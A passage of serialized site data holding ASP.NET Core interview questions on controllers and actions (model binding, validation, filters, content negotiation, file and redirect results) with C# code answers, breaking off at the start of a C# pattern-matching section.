Actions",{"type":91,"value":1293,"toc":1294},[],{"title":94,"searchDepth":29,"depth":29,"links":1295},[],{},"\u002Fdotnet\u002Faspnet-core\u002Fcontrollers-actions",[1299,1303,1307,1311,1315,1319,1323,1327,1331,1335,1339,1343,1347,1351,1355],{"id":1300,"difficulty":104,"q":1301,"a":1302},"controller-what-is","What is a controller in ASP.NET Core and what makes a class a controller?","A **controller** is a class that groups related HTTP endpoint handlers (actions).\nASP.NET Core identifies a controller by convention or attribute:\n- The class name ends in `Controller`, **or**\n- The class is decorated with `[Controller]`, **or**\n- The class inherits from `Controller` or `ControllerBase`.\n\n```csharp\n\u002F\u002F Inheriting ControllerBase — most common for APIs\n[ApiController]\n[Route(\"api\u002F[controller]\")]\npublic class ProductsController : ControllerBase\n{\n    private readonly IProductService _svc;\n\n    \u002F\u002F Dependencies injected via constructor (DI):\n    public ProductsController(IProductService svc) => _svc = svc;\n\n    [HttpGet]\n    public async Task\u003CIActionResult> List()\n    {\n        var products = await _svc.GetAllAsync();\n        return Ok(products); \u002F\u002F 200 OK with JSON body\n    }\n\n    [HttpGet(\"{id:int}\")]\n    public async Task\u003CIActionResult> Get(int id)\n    {\n        var p = await _svc.FindAsync(id);\n        return p is null ? NotFound() : Ok(p);\n    }\n}\n```\n\n`ControllerBase` provides helpers (`Ok`, `NotFound`, `BadRequest`, etc.) and\nmodel binding. `Controller` extends `ControllerBase` with Razor View support\n(`View()`, `ViewData`, `TempData`).\n\n**Rule of thumb:** Inherit from `ControllerBase` for Web APIs (no views). Inherit\nfrom `Controller` only for MVC apps that render Razor Views.\n",{"id":1304,"difficulty":104,"q":1305,"a":1306},"iactionresult-vs-actionresult","What is the difference between `IActionResult`, `ActionResult\u003CT>`, and returning `T` directly?","- **`IActionResult`** — interface; allows returning any response (200, 404, 400, etc.)\n  but loses compile-time type information for the success body.\n- **`ActionResult\u003CT>`** — generic wrapper; allows returning both a typed result (`T`)\n  or any `IActionResult` (errors), and enables accurate OpenAPI schema generation.\n- **`T` directly** — simplest; always returns 200 OK with the serialized object.\n  No built-in way to return 404 or 400.\n\n```csharp\n\u002F\u002F IActionResult — flexible but no type info in OpenAPI:\n[HttpGet(\"{id}\")]\npublic IActionResult GetV1(int id)\n{\n    var p = _repo.Find(id);\n    return p is null ? NotFound() : Ok(p); \u002F\u002F Ok() wraps Product, but return type is IActionResult\n}\n\n\u002F\u002F ActionResult\u003CT> — preferred for APIs; swagger shows Product schema:\n[HttpGet(\"{id}\")]\npublic ActionResult\u003CProduct> GetV2(int id)\n{\n    var p = _repo.Find(id);\n    return p is null ? NotFound() : p; \u002F\u002F implicit conversion Product → ActionResult\u003CProduct>\n}\n\n\u002F\u002F T directly — minimal API style; no error responses possible:\n[HttpGet(\"all\")]\npublic IEnumerable\u003CProduct> List() => _repo.GetAll();\n\u002F\u002F Always 200 OK; can't return 404 without throwing an exception\n```\n\nWith `[ApiController]`, `ActionResult\u003CT>` also feeds `ProducesResponseType` inference.\n\n**Rule of thumb:** Use `ActionResult\u003CT>` for API actions that can return both a\ntyped success response and error responses. Use `T` directly only for actions that\nalways succeed and you are confident will never need to return an error status.\n",{"id":1308,"difficulty":96,"q":1309,"a":1310},"apicontroller-attribute","What does the `[ApiController]` attribute do?","`[ApiController]` enables several **opinionated API behaviors** that reduce\nboilerplate and enforce best practices:\n\n1. **Automatic model validation** — if `ModelState` is invalid, automatically\n   returns `400 Bad Request` with a `ValidationProblemDetails` body.\n2. **Binding source inference** — infers `[FromBody]`, `[FromRoute]`, `[FromQuery]`\n   without explicit attributes.\n3. **Problem Details for error responses** — 400\u002F404 etc. are wrapped in RFC 7807\n   `ProblemDetails` JSON.\n4. **Attribute routing required** — conventional routing is disabled; every action\n   must have a route attribute.\n\n```csharp\n[ApiController]\n[Route(\"api\u002F[controller]\")]\npublic class OrdersController : ControllerBase\n{\n    [HttpPost]\n    public IActionResult Create([FromBody] CreateOrderDto dto)\n    {\n        \u002F\u002F WITHOUT [ApiController]: you'd need to check ModelState manually:\n        \u002F\u002F if (!ModelState.IsValid) return BadRequest(ModelState);\n\n        \u002F\u002F WITH [ApiController]: ModelState.IsValid check is automatic.\n        \u002F\u002F If dto.Name is missing, 400 is returned before this line runs:\n        var order = _svc.Create(dto);\n        return Created($\"\u002Fapi\u002Forders\u002F{order.Id}\", order);\n    }\n}\n\n\u002F\u002F DTO with validation attributes:\npublic class CreateOrderDto\n{\n    [Required]\n    [StringLength(100)]\n    public string ProductName { get; set; } = default!;\n\n    [Range(1, 1000)]\n    public int Quantity { get; set; }\n}\n```\n\nApply at the assembly level to avoid repeating on every controller:\n\n```csharp\n[assembly: ApiController]\n```\n\n**Rule of thumb:** Always add `[ApiController]` to Web API controllers. It reduces\nboilerplate and enforces conventions that make your API predictable. Do not apply\nit to MVC controllers that return Views.\n",{"id":1312,"difficulty":96,"q":1313,"a":1314},"model-binding","How does model binding work in ASP.NET Core?","**Model binding** extracts values from the HTTP request (route data, query string,\nform data, body, headers) and converts them into action method parameter types.\nIt runs before the action method and populates `ModelState`.\n\n```csharp\n[HttpGet(\"search\")]\npublic IActionResult Search(\n    string term,           \u002F\u002F [FromQuery] inferred: ?term=shoes\n    int page = 1,          \u002F\u002F [FromQuery] with default\n    int pageSize = 20)     \u002F\u002F [FromQuery] with default\n    => Ok(_svc.Search(term, page, pageSize));\n\n[HttpPost]\npublic IActionResult Create([FromBody] CreateProductDto dto)\n    \u002F\u002F Body JSON is deserialized into CreateProductDto\n    => Created($\"\u002F{dto.Id}\", dto);\n\n[HttpPost(\"import\")]\npublic IActionResult Import(\n    [FromForm] string category,   \u002F\u002F form field\n    IFormFile file)               \u002F\u002F uploaded file\n{\n    using var stream = file.OpenReadStream();\n    _importer.Import(stream, category);\n    return Ok();\n}\n```\n\nCustom model binder:\n\n```csharp\n\u002F\u002F Bind a comma-separated query string to a List\u003Cint>:\npublic class CommaSeparatedListBinder : IModelBinder\n{\n    public Task BindModelAsync(ModelBindingContext ctx)\n    {\n        var value = ctx.ValueProvider.GetValue(ctx.ModelName).FirstValue;\n        if (string.IsNullOrEmpty(value)) { ctx.Result = ModelBindingResult.Success(null); return Task.CompletedTask; }\n        var result = value.Split(',').Select(int.Parse).ToList();\n        ctx.Result = ModelBindingResult.Success(result);\n        return Task.CompletedTask;\n    }\n}\n\n[HttpGet(\"filter\")]\npublic IActionResult Filter(\n    [ModelBinder(typeof(CommaSeparatedListBinder))] List\u003Cint> ids)\n    \u002F\u002F ?ids=1,2,3 → ids = [1, 2, 3]\n    => Ok(ids);\n```\n\n**Rule of thumb:** Rely on default binding for standard cases. Use explicit\n`[From*]` attributes when you need to override the inferred source or when\nnot using `[ApiController]`.\n",{"id":1316,"difficulty":96,"q":1317,"a":1318},"model-validation","How do you validate models with Data Annotations and `ModelState`?",".NET's **Data Annotations** validate input before the action runs. `ModelState`\naccumulates the results; `[ApiController]` automatically returns 400 if invalid.\n\n```csharp\nusing System.ComponentModel.DataAnnotations;\n\npublic class RegisterDto\n{\n    [Required(ErrorMessage = \"Email is required\")]\n    [EmailAddress]\n    public string Email { get; set; } = default!;\n\n    [Required]\n    [StringLength(100, MinimumLength = 8,\n        ErrorMessage = \"Password must be 8–100 characters\")]\n    public string Password { get; set; } = default!;\n\n    [Range(18, 120, ErrorMessage = \"Age must be between 18 and 120\")]\n    public int Age { get; set; }\n\n    [Url]\n    public string? Website { get; set; }\n}\n\n[HttpPost(\"register\")]\npublic IActionResult Register([FromBody] RegisterDto dto)\n{\n    \u002F\u002F [ApiController] returns 400 automatically if ModelState is invalid.\n    \u002F\u002F Without [ApiController]:\n    if (!ModelState.IsValid)\n        return BadRequest(ModelState);\n\n    _svc.Register(dto);\n    return Ok();\n}\n```\n\nCustom validation attribute:\n\n```csharp\npublic class FutureDateAttribute : ValidationAttribute\n{\n    protected override ValidationResult? IsValid(\n        object? value, ValidationContext ctx)\n    {\n        if (value is DateTime dt && dt > DateTime.Today)\n            return ValidationResult.Success;\n        return new ValidationResult(\"Date must be in the future\");\n    }\n}\n\npublic class EventDto\n{\n    [FutureDate]\n    public DateTime StartDate { get; set; }\n}\n```\n\nFor complex cross-property validation, implement `IValidatableObject`:\n\n```csharp\npublic class DateRangeDto : IValidatableObject\n{\n    public DateTime Start { get; set; }\n    public DateTime End { get; set; }\n\n    public IEnumerable\u003CValidationResult> Validate(ValidationContext ctx)\n    {\n        if (End \u003C= Start)\n            yield return new ValidationResult(\"End must be after Start\",\n                new[] { nameof(End) });\n    }\n}\n```\n\n**Rule of thumb:** Use Data Annotations for simple, attribute-level validation.\nImplement `IValidatableObject` for cross-property rules. For complex domain\nvalidation (database lookups, business rules), validate in your service layer,\nnot on the DTO.\n",{"id":1320,"difficulty":96,"q":1321,"a":1322},"action-filters","What are action filters and when should you use them?","**Action filters** are attributes that run code before (`OnActionExecuting`) and\nafter (`OnActionExecuted`) an action method. They have access to the full MVC\ncontext — action arguments, `ModelState`, and the `ActionResult`.\n\n```csharp\n\u002F\u002F Synchronous filter:\npublic class LoggingFilter : IActionFilter\n{\n    private readonly ILogger _logger;\n    public LoggingFilter(ILogger\u003CLoggingFilter> logger) => _logger = logger;\n\n    public void OnActionExecuting(ActionExecutingContext context)\n    {\n        _logger.LogInformation(\"Executing {Action} with args: {Args}\",\n            context.ActionDescriptor.DisplayName,\n            context.ActionArguments);\n    }\n\n    public void OnActionExecuted(ActionExecutedContext context)\n    {\n        _logger.LogInformation(\"Executed {Action} → {StatusCode}\",\n            context.ActionDescriptor.DisplayName,\n            (context.Result as ObjectResult)?.StatusCode);\n    }\n}\n\n\u002F\u002F Async filter (preferred when awaiting inside):\npublic class ValidateModelFilter : IAsyncActionFilter\n{\n    public async Task OnActionExecutionAsync(\n        ActionExecutingContext context, ActionExecutionDelegate next)\n    {\n        if (!context.ModelState.IsValid)\n        {\n            context.Result = new BadRequestObjectResult(context.ModelState);\n            return; \u002F\u002F short-circuit — do NOT call next\n        }\n        await next(); \u002F\u002F run the action\n    }\n}\n\n\u002F\u002F Apply globally:\nbuilder.Services.AddControllers(o =>\n{\n    o.Filters.Add\u003CLoggingFilter>();\n    o.Filters.Add\u003CValidateModelFilter>();\n});\n\n\u002F\u002F Apply to a controller or action:\n[ServiceFilter(typeof(LoggingFilter))] \u002F\u002F resolves from DI\npublic class OrdersController : ControllerBase { ... }\n```\n\nFilter execution order: Authorization → Resource → Action → Result → Exception.\n\n**Rule of thumb:** Use action filters for concerns that need MVC context (model\nstate, action arguments). Use middleware for concerns that apply to all HTTP traffic\nregardless of whether it reaches a controller.\n",{"id":1324,"difficulty":96,"q":1325,"a":1326},"content-negotiation","What is content negotiation in ASP.NET Core and how is it configured?","**Content negotiation** is the process of selecting the response format (JSON, XML,\netc.) based on the client's `Accept` header. ASP.NET Core defaults to JSON via\n`System.Text.Json` but can be extended.\n\n```csharp\n\u002F\u002F Add XML formatter alongside JSON:\nbuilder.Services.AddControllers()\n    .AddXmlSerializerFormatters(); \u002F\u002F adds application\u002Fxml support\n\n\u002F\u002F Client sends: Accept: application\u002Fxml\n\u002F\u002F → response serialized as XML instead of JSON\n\n\u002F\u002F Force JSON regardless of Accept header:\nbuilder.Services.AddControllers(o =>\n    o.RespectBrowserAcceptHeader = false); \u002F\u002F default: false → always JSON\n\n\u002F\u002F ProducesResponseType + Produces: document and constrain formats\n[HttpGet(\"{id}\")]\n[Produces(\"application\u002Fjson\")]                 \u002F\u002F only produce JSON\n[ProducesResponseType\u003CProduct>(StatusCodes.Status200OK)]\n[ProducesResponseType(StatusCodes.Status404NotFound)]\npublic ActionResult\u003CProduct> Get(int id) { ... }\n```\n\nSwitching to `Newtonsoft.Json` (if you need features STJ doesn't support):\n\n```csharp\nbuilder.Services.AddControllers()\n    .AddNewtonsoftJson(o =>\n        o.SerializerSettings.NullValueHandling = Newtonsoft.Json.NullValueHandling.Ignore);\n```\n\nCustom output formatter (e.g., CSV):\n\n```csharp\npublic class CsvOutputFormatter : TextOutputFormatter\n{\n    public CsvOutputFormatter()\n    {\n        SupportedMediaTypes.Add(\"text\u002Fcsv\");\n        SupportedEncodings.Add(Encoding.UTF8);\n    }\n\n    protected override bool CanWriteType(Type? type) => type == typeof(IEnumerable\u003CProduct>);\n\n    public override async Task WriteResponseBodyAsync(\n        OutputFormatterWriteContext ctx, Encoding selectedEncoding)\n    {\n        var products = (IEnumerable\u003CProduct>)ctx.Object!;\n        var writer = ctx.HttpContext.Response.BodyWriter;\n        await writer.WriteAsync(\u002F* CSV bytes *\u002F Encoding.UTF8.GetBytes(\"...\"));\n    }\n}\n\nbuilder.Services.AddControllers(o => o.OutputFormatters.Add(new CsvOutputFormatter()));\n```\n\n**Rule of thumb:** Leave content negotiation at its default (JSON) unless clients\nexplicitly need XML or custom formats. Document supported formats with `[Produces]`\nfor accurate OpenAPI specs.\n",{"id":1328,"difficulty":104,"q":1329,"a":1330},"controller-vs-controllerbase","What is the difference between `Controller` and `ControllerBase`?","**`ControllerBase`** provides the HTTP-related helpers (`Ok`, `NotFound`,\n`BadRequest`, `Created`, `File`, etc.) and model binding. It has no Razor View\nsupport.\n\n**`Controller`** inherits `ControllerBase` and adds:\n- `View()`, `PartialView()`, `Json()` for rendering Razor Views\n- `ViewData`, `ViewBag`, `TempData` dictionaries\n- `RedirectToAction`, `RedirectToRoute`\n\n```csharp\n\u002F\u002F Web API — no views needed:\n[ApiController]\n[Route(\"api\u002F[controller]\")]\npublic class ProductsController : ControllerBase\n{\n    [HttpGet]\n    public IActionResult List() => Ok(_products); \u002F\u002F returns JSON\n}\n\n\u002F\u002F MVC — returns Razor views:\npublic class HomeController : Controller\n{\n    public IActionResult Index()\n    {\n        ViewData[\"Title\"] = \"Home\";\n        return View(); \u002F\u002F renders Views\u002FHome\u002FIndex.cshtml\n    }\n\n    public IActionResult Details(int id)\n    {\n        var product = _repo.Find(id);\n        return View(product); \u002F\u002F passes model to view\n    }\n\n    [HttpPost]\n    public IActionResult Create(Product p)\n    {\n        if (!ModelState.IsValid)\n            return View(p); \u002F\u002F re-render form with validation errors\n        _repo.Add(p);\n        return RedirectToAction(nameof(Index));\n    }\n}\n```\n\n**Rule of thumb:** Use `ControllerBase` for Web APIs (returns JSON\u002Fdata). Use\n`Controller` for MVC apps that render HTML views. Never return `View()` from a\nclass that inherits only `ControllerBase` — that method doesn't exist there.\n",{"id":1332,"difficulty":96,"q":1333,"a":1334},"produces-response-type","What is `[ProducesResponseType]` and why does it matter?","`[ProducesResponseType]` is a documentation attribute that declares which HTTP\nstatus codes an action can return and what type the response body has. It is\nused by tools like Swashbuckle (Swagger) to generate accurate OpenAPI specs.\n\n```csharp\n[HttpGet(\"{id:int}\")]\n[ProducesResponseType\u003CProduct>(StatusCodes.Status200OK)]\n[ProducesResponseType(StatusCodes.Status404NotFound)]\n[ProducesResponseType(StatusCodes.Status400BadRequest)]\npublic ActionResult\u003CProduct> Get(int id)\n{\n    if (id \u003C= 0) return BadRequest(\"Id must be positive\");\n    var p = _repo.Find(id);\n    return p is null ? NotFound() : Ok(p);\n}\n\n\u002F\u002F Generic form (C# 11 \u002F .NET 7+) — avoids typeof:\n[ProducesResponseType\u003CProduct>(200)]\n[ProducesResponseType\u003CProblemDetails>(404)]\n\n\u002F\u002F Or use [ProducesDefaultResponseType] for catch-all:\n[ProducesDefaultResponseType(typeof(ProblemDetails))]\n```\n\nWithout `[ProducesResponseType]`, Swagger shows `200 undocumented` which\nmakes client SDK generation guess or produce incorrect models.\n\nApply globally with a convention to avoid repetition:\n\n```csharp\nbuilder.Services.AddControllers(o =>\n    o.Conventions.Add(new ApiExplorerConvention()));\n\u002F\u002F Or use [ProducesResponseType] on the controller class to default for all actions.\n```\n\n**Rule of thumb:** Annotate every API action with `[ProducesResponseType]` for\neach status code it can return. This keeps your OpenAPI spec accurate, improves\nclient SDK generation, and documents the contract for API consumers.\n",{"id":1336,"difficulty":104,"q":1337,"a":1338},"action-return-helpers","What are the common action result helper methods in `ControllerBase`?","`ControllerBase` provides factory methods that create `IActionResult` instances\nwithout manually instantiating result classes:\n\n```csharp\n\u002F\u002F 2xx — success:\nreturn Ok(data);                   \u002F\u002F 200 OK with body\nreturn Created(\"\u002Furi\", data);      \u002F\u002F 201 Created with Location header + body\nreturn CreatedAtAction(nameof(Get), new { id }, data); \u002F\u002F 201 with route-based Location\nreturn Accepted();                 \u002F\u002F 202 Accepted (async operation started)\nreturn NoContent();                \u002F\u002F 204 No Content (successful, no body)\n\n\u002F\u002F 3xx — redirect:\nreturn RedirectToAction(\"Index\");  \u002F\u002F 302 to action\nreturn RedirectToRoute(\"named\");   \u002F\u002F 302 to named route\nreturn LocalRedirect(\"\u002Fpath\");     \u002F\u002F 302, validates local URL (prevents open redirect)\n\n\u002F\u002F 4xx — client error:\nreturn BadRequest(ModelState);     \u002F\u002F 400 with validation errors\nreturn Unauthorized();             \u002F\u002F 401\nreturn Forbid();                   \u002F\u002F 403\nreturn NotFound();                 \u002F\u002F 404\nreturn Conflict(\"Duplicate key\");  \u002F\u002F 409\nreturn UnprocessableEntity(errors);\u002F\u002F 422 Unprocessable Entity\n\n\u002F\u002F 5xx:\nreturn StatusCode(503, \"Maintenance\"); \u002F\u002F arbitrary status with body\n\n\u002F\u002F File responses:\nreturn File(bytes, \"image\u002Fpng\");\nreturn PhysicalFile(\"\u002Fpath\u002Ffile.pdf\", \"application\u002Fpdf\", \"download.pdf\");\nreturn Stream(stream, \"application\u002Foctet-stream\");\n```\n\nThe RFC 7807 Problem Details shortcut:\n\n```csharp\nreturn Problem(\n    title: \"Not Found\",\n    detail: $\"Product {id} does not exist\",\n    statusCode: 404);\n\u002F\u002F → {\"type\":\"...\",\"title\":\"Not Found\",\"status\":404,\"detail\":\"...\"}\n```\n\n**Rule of thumb:** Always use the named helper methods (`Ok`, `NotFound`, etc.)\ninstead of manually setting `Response.StatusCode` — they create properly typed\n`IActionResult` objects and work correctly with the MVC result pipeline.\n",{"id":1340,"difficulty":96,"q":1341,"a":1342},"async-actions","Should controller action methods be async, and what are the best practices?","Actions that perform I\u002FO (database, HTTP, file) should be `async Task\u003CIActionResult>`\nso the server thread is freed while waiting. Synchronous actions are fine only for\ntruly synchronous in-memory operations.\n\n```csharp\n\u002F\u002F Good: async I\u002FO — thread is free while awaiting DB\n[HttpGet]\npublic async Task\u003CActionResult\u003CIEnumerable\u003CProduct>>> List(CancellationToken ct)\n{\n    var products = await _dbContext.Products\n        .AsNoTracking()\n        .ToListAsync(ct); \u002F\u002F non-blocking DB query\n    return Ok(products);\n}\n\n\u002F\u002F Good: accept CancellationToken for client disconnects\n[HttpGet(\"{id:int}\")]\npublic async Task\u003CActionResult\u003CProduct>> Get(int id, CancellationToken ct)\n{\n    var p = await _repo.FindAsync(id, ct);\n    return p is null ? NotFound() : Ok(p);\n}\n\n\u002F\u002F Avoid: blocking async over sync\n[HttpGet(\"bad\")]\npublic IActionResult GetBad()\n{\n    var result = _repo.FindAsync(1).Result; \u002F\u002F blocks a thread — avoid!\n    return Ok(result);\n}\n\n\u002F\u002F Fine: synchronous in-memory ops — no async needed\n[HttpGet(\"version\")]\npublic IActionResult Version() => Ok(\"1.0.0\");\n```\n\nASP.NET Core automatically binds `CancellationToken` parameters from the request\nabort token — when the client disconnects, the token is cancelled, allowing DB\nqueries and HTTP calls to be cancelled.\n\n**Rule of thumb:** Make actions `async Task\u003CIActionResult>` whenever they call\nany I\u002FO. Accept `CancellationToken ct` as the last parameter and forward it to\nevery awaitable call so the server can cancel orphaned requests.\n",{"id":1344,"difficulty":96,"q":1345,"a":1346},"problem-details","What is the Problem Details standard and how does ASP.NET Core implement it?","**Problem Details** (RFC 7807 \u002F RFC 9457) is a standard JSON format for HTTP API\nerror responses. ASP.NET Core 7+ includes built-in Problem Details support via\n`IProblemDetailsService` and the `Problem()` helper method.\n\n```csharp\n\u002F\u002F Enable Problem Details for all error responses:\nbuilder.Services.AddProblemDetails(); \u002F\u002F registers IProblemDetailsService\n\n\u002F\u002F Use it in your exception handler:\napp.UseExceptionHandler();            \u002F\u002F uses ProblemDetails format automatically\n\n\u002F\u002F Return Problem Details from an action:\n[HttpGet(\"{id:int}\")]\npublic ActionResult\u003COrder> Get(int id)\n{\n    var order = _repo.Find(id);\n    if (order is null)\n        return Problem(\n            title:      \"Order not found\",\n            detail:     $\"No order with id {id} exists.\",\n            statusCode: StatusCodes.Status404NotFound,\n            type:       \"https:\u002F\u002Ftools.ietf.org\u002Fhtml\u002Frfc9110#section-15.5.5\");\n\n    return Ok(order);\n}\n\n\u002F\u002F [ApiController] wraps 400 responses as ValidationProblemDetails automatically:\n\u002F\u002F POST with invalid body → 400:\n\u002F\u002F {\n\u002F\u002F   \"type\": \"https:\u002F\u002Ftools.ietf.org\u002Fhtml\u002Frfc9110#section-15.5.1\",\n\u002F\u002F   \"title\": \"One or more validation errors occurred.\",\n\u002F\u002F   \"status\": 400,\n\u002F\u002F   \"errors\": { \"Name\": [\"The Name field is required.\"] }\n\u002F\u002F }\n\n\u002F\u002F Customize the Problem Details response globally:\nbuilder.Services.AddProblemDetails(opts =>\n{\n    opts.CustomizeProblemDetails = ctx =>\n    {\n        ctx.ProblemDetails.Extensions[\"traceId\"] =\n            ctx.HttpContext.TraceIdentifier; \u002F\u002F add correlation id\n    };\n});\n```\n\n**Rule of thumb:** Enable `AddProblemDetails()` and use the `Problem()` helper for\nall error responses in Web APIs. This gives API consumers a consistent, machine-readable\nerror format across every endpoint, and enables accurate OpenAPI error schema generation.\n",{"id":1348,"difficulty":96,"q":1349,"a":1350},"file-results","How do you return file downloads from a controller action?","`ControllerBase` provides several methods to return file content as a download or\ninline response. Choose the method that matches your data source.\n\n```csharp\n\u002F\u002F 1. Byte array in memory — small files:\n[HttpGet(\"receipt\u002F{id:int}\")]\npublic IActionResult DownloadReceipt(int id)\n{\n    byte[] pdfBytes = _reportService.GeneratePdf(id);\n    return File(\n        fileContents:   pdfBytes,\n        contentType:    \"application\u002Fpdf\",\n        fileDownloadName: $\"receipt-{id}.pdf\"); \u002F\u002F triggers Save As dialog\n}\n\n\u002F\u002F 2. Stream — large files (memory-efficient):\n[HttpGet(\"export\")]\npublic async Task\u003CIActionResult> ExportCsv(CancellationToken ct)\n{\n    var stream = await _exportService.CreateCsvStreamAsync(ct);\n    return File(stream, \"text\u002Fcsv\", \"export.csv\");\n    \u002F\u002F ASP.NET Core disposes the stream after sending\n}\n\n\u002F\u002F 3. Physical file path on disk:\n[HttpGet(\"manual\u002F{filename}\")]\npublic IActionResult GetManual(string filename)\n{\n    var path = Path.Combine(_env.WebRootPath, \"manuals\", filename);\n    if (!System.IO.File.Exists(path))\n        return NotFound();\n\n    return PhysicalFile(\n        physicalPath:    path,\n        contentType:     \"application\u002Fpdf\",\n        fileDownloadName: filename,\n        enableRangeProcessing: true); \u002F\u002F supports partial content (video streaming)\n}\n\n\u002F\u002F 4. Virtual path (served from IFileProvider):\n[HttpGet(\"logo\")]\npublic IActionResult GetLogo() =>\n    VirtualFile(\"~\u002Fimages\u002Flogo.png\", \"image\u002Fpng\");\n\u002F\u002F Note: omit fileDownloadName to serve inline (browser displays instead of downloads)\n```\n\n**Rule of thumb:** Use `File(stream, ...)` for large files to avoid loading them\nfully into memory. Set `enableRangeProcessing: true` for media files. Omit\n`fileDownloadName` to render inline (e.g., images); include it to prompt a download.\n",{"id":1352,"difficulty":104,"q":1353,"a":1354},"redirect-results","How do you perform redirects from a controller action, and what is the difference between the redirect methods?","ASP.NET Core controllers provide several redirect methods, each mapping to a\ndifferent HTTP status code and target type. Choosing the right one prevents\nopen-redirect vulnerabilities and incorrect caching by clients.\n\n```csharp\n\u002F\u002F 301 Permanent redirect — browser\u002Fsearch engines cache forever:\nreturn RedirectPermanent(\"https:\u002F\u002Fnew-site.example.com\");\n\n\u002F\u002F 302 Temporary redirect — default; browser does not cache:\nreturn Redirect(\"https:\u002F\u002Fexternal.example.com\u002Fcheckout\");\n\n\u002F\u002F 302 to another action (safe — uses route generation, no hard-coded URL):\nreturn RedirectToAction(nameof(Index), \"Home\");\nreturn RedirectToAction(nameof(Get), new { id = newId });\n\n\u002F\u002F 301 to another action:\nreturn RedirectToActionPermanent(nameof(Index));\n\n\u002F\u002F 302 to a named route:\nreturn RedirectToRoute(\"order-details\", new { id = order.Id });\n\n\u002F\u002F Local redirect — validates the URL is local (prevents open redirect attacks):\n[HttpPost(\"login\")]\npublic IActionResult Login(string returnUrl)\n{\n    \u002F\u002F Bad: Redirect(returnUrl) — returnUrl could be https:\u002F\u002Fevil.com\n    \u002F\u002F Good: LocalRedirect validates the URL starts with \u002F\n    return LocalRedirect(returnUrl ?? \"\u002Fdashboard\");\n    \u002F\u002F Throws InvalidOperationException if returnUrl is not local\n}\n\n\u002F\u002F 307\u002F308 — preserve HTTP method across redirect (POST stays POST):\nreturn RedirectToActionPreserveMethod(nameof(Create)); \u002F\u002F 307\nreturn RedirectToActionPermanentPreserveMethod(nameof(Create)); \u002F\u002F 308\n```\n\n**Rule of thumb:** Always use `LocalRedirect` when redirecting to a caller-supplied\nURL to prevent open-redirect vulnerabilities. Use `RedirectToAction` instead of\nhard-coded strings — it stays correct when routes change.\n",{"id":1356,"difficulty":96,"q":1357,"a":1358},"consumes-produces-attributes","What do `[Consumes]` and `[Produces]` attributes do on a controller action?","**`[Consumes]`** restricts which request `Content-Type` values an action accepts.\n**`[Produces]`** declares which response `Content-Type` values the action returns.\nBoth affect content negotiation, routing, and OpenAPI documentation.\n\n```csharp\n\u002F\u002F [Consumes]: action only matches requests with Content-Type: application\u002Fjson\n[HttpPost(\"upload-json\")]\n[Consumes(\"application\u002Fjson\")]\npublic IActionResult ImportJson([FromBody] ImportDto dto)\n    => Ok($\"Imported {dto.Count} records\");\n\n\u002F\u002F Separate action for form\u002Fmultipart upload:\n[HttpPost(\"upload-form\")]\n[Consumes(\"multipart\u002Fform-data\")]\npublic IActionResult ImportFile(IFormFile file)\n{\n    \u002F\u002F Handles: Content-Type: multipart\u002Fform-data\n    using var stream = file.OpenReadStream();\n    _importer.Import(stream);\n    return Ok();\n}\n\u002F\u002F Both routes are POST \u002Fupload-* — [Consumes] disambiguates at routing time\n\n\u002F\u002F [Produces]: declares response content type and drives OpenAPI output schema\n[HttpGet(\"{id:int}\")]\n[Produces(\"application\u002Fjson\")]\n[ProducesResponseType\u003CProduct>(StatusCodes.Status200OK)]\n[ProducesResponseType(StatusCodes.Status404NotFound)]\npublic ActionResult\u003CProduct> Get(int id) { ... }\n\n\u002F\u002F [Produces] on the controller: applies to all actions\n[ApiController]\n[Produces(\"application\u002Fjson\")]\n[Route(\"api\u002F[controller]\")]\npublic class ProductsController : ControllerBase { ... }\n\n\u002F\u002F Support multiple response types:\n[Produces(\"application\u002Fjson\", \"application\u002Fxml\")]\npublic IActionResult GetAll() => Ok(_products);\n```\n\n**Rule of thumb:** Use `[Consumes]` when the same route needs to accept different\nbody formats (JSON vs form). Use `[Produces]` to lock down the response format and\nkeep OpenAPI schemas accurate. Together they form the explicit contract for your endpoint.\n",{"description":94},"ASP.NET Core controllers interview questions — IActionResult, model binding, the ApiController attribute, validation, action filters, and content negotiation.","dotnet\u002Faspnet-core\u002Fcontrollers-actions","Controllers & Actions","JPra4UDiuJuizr3UBWsN1FEOk9rGxFFYu3tYwcbVayI",{"id":1365,"title":1366,"body":1367,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":1371,"navigation":99,"order":38,"path":1372,"questions":1373,"questionsCount":163,"related":164,"seo":1434,"seoDescription":1435,"stem":1436,"subtopic":1366,"topic":28,"topicSlug":30,"updated":168,"__hash__":1437},"qa\u002Fdotnet\u002Fcsharp-core\u002Fpattern-matching.md","Pattern Matching",{"type":91,"value":1368,"toc":1369},[],{"title":94,"searchDepth":29,"depth":29,"links":1370},[],{},"\u002Fdotnet\u002Fcsharp-core\u002Fpattern-matching",[1374,1378,1382,1386,1390,1394,1398,1402,1406,1410,1414,1418,1422,1426,1430],{"id":1375,"difficulty":104,"q":1376,"a":1377},"pattern-matching-intro","What is pattern matching in C# and when was it introduced?","**Pattern matching** is a language feature that lets you test a value against a\n*pattern* — a shape, type, or condition — and extract data from it in a single\nexpression. C# introduced basic patterns in C# 7 and added richer forms in each\nsubsequent version through C# 11.\n\n```csharp\nobject value = 42;\n\n\u002F\u002F Pre-C# 7 style (verbose):\nif (value is int)\n{\n    int n = (int)value;\n    Console.WriteLine(n * 2);\n}\n\n\u002F\u002F C# 7 — type pattern + declaration in is-expression:\nif (value is int n)\n    Console.WriteLine(n * 2); \u002F\u002F 84 — n is declared and bound in one step\n\n\u002F\u002F C# 8 — switch expression replaces switch statement:\nstring describe = value switch\n{\n    int i when i \u003C 0 => \"negative\",\n    int i when i == 0 => \"zero\",\n    int i => $\"positive: {i}\",\n    string s => $\"string: {s}\",\n    _ => \"other\"\n};\nConsole.WriteLine(describe); \u002F\u002F positive: 42\n```\n\n**Rule of thumb:** Prefer pattern matching over chains of `if (x is T) { var t = (T)x; }`\ncasts. It is safer (no invalid cast exceptions), more concise, and exhaustive in\nswitch expressions (compiler warns if cases are missing).\n",{"id":1379,"difficulty":104,"q":1380,"a":1381},"switch-expression","How does a `switch` expression differ from a `switch` statement?","A `switch` **statement** is imperative — it executes side-effect branches. A\n`switch` **expression** (C# 8) is an expression — it *produces a value*. It is\nmore concise, discourages fall-through, and the compiler enforces exhaustiveness\n(warns if any input has no matching arm).\n\n```csharp\n\u002F\u002F switch statement (C# 1+):\nstring desc;\nswitch (statusCode)\n{\n    case 200: desc = \"OK\";           break;\n    case 404: desc = \"Not Found\";    break;\n    case 500: desc = \"Server Error\"; break;\n    default:  desc = \"Unknown\";      